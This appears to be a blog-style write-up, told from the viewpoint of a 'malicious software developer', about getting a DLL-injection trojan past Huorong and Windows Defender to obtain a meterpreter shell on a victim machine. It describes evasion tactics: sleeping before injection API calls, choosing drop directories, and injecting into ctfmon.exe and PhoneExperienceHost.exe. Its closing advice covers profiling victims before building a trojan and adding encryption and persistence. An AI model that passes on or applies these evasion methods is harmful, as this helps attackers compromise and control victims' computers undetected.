Bypass Huorong Anti-Virus static detection when the malicious software land on victim machine.

Execute it and we will get the windows ‘Hacked by Leviathan’

In msf, we get the meterpreter shell after the victim execute the binary file.

Bypass Windows Defender

Difficulty: 4.5/5.0

Also we can bypass Windows Defender static detection

We load the malicious dll in public download directory, it seems well so far.

But we can’t get the shell, the windows defender will detect we inject the unknown DLL file in explorer.exe

We get the Windows Defender Threat report.
Now we have to try others way to get the shell.

  1. We set the Sleep function before the sensitive behaviors like GetProcAddress, CreateRemoteThread and VirutalAllocEx.

  1. Sleep more time before write file in public directory. ( Windows Defender will detect it assp :-( )

If we run as an administrator privilege, the Windows Defender will scan it automatically.

  1. Try another process we inject in, in this case I try to inject the DLL file in ctfmon.exe process and save the DLL file in administator downloads directory.

In this case, injection in PhoneExperienceHost.exe.

And we get the final shell successfully.

Summary

  1. As a malicious software developer, we have to know the trait behaviors in different Anti-Virus softwares. Different Anti-Virus software have their own detect ways. For example, windows defender will pay more attention in sensitive directories (public diectory etc.. ). Huorong is better at static dection in China mainland Anti-Virus softwares.
  2. DLL injection is relatively easy to realize, but at the same time, it is relatively easy to be detected. So make sure you get the system important information in victim machine ( System verion, Anti-Virus etc…) before you develop the trojan.
  3. This program still needs to be improved in many aspects, such as communication encryption, more hidden way injection, privilege persistence etc.
  4. When your file being dectected just trying harder to bypass.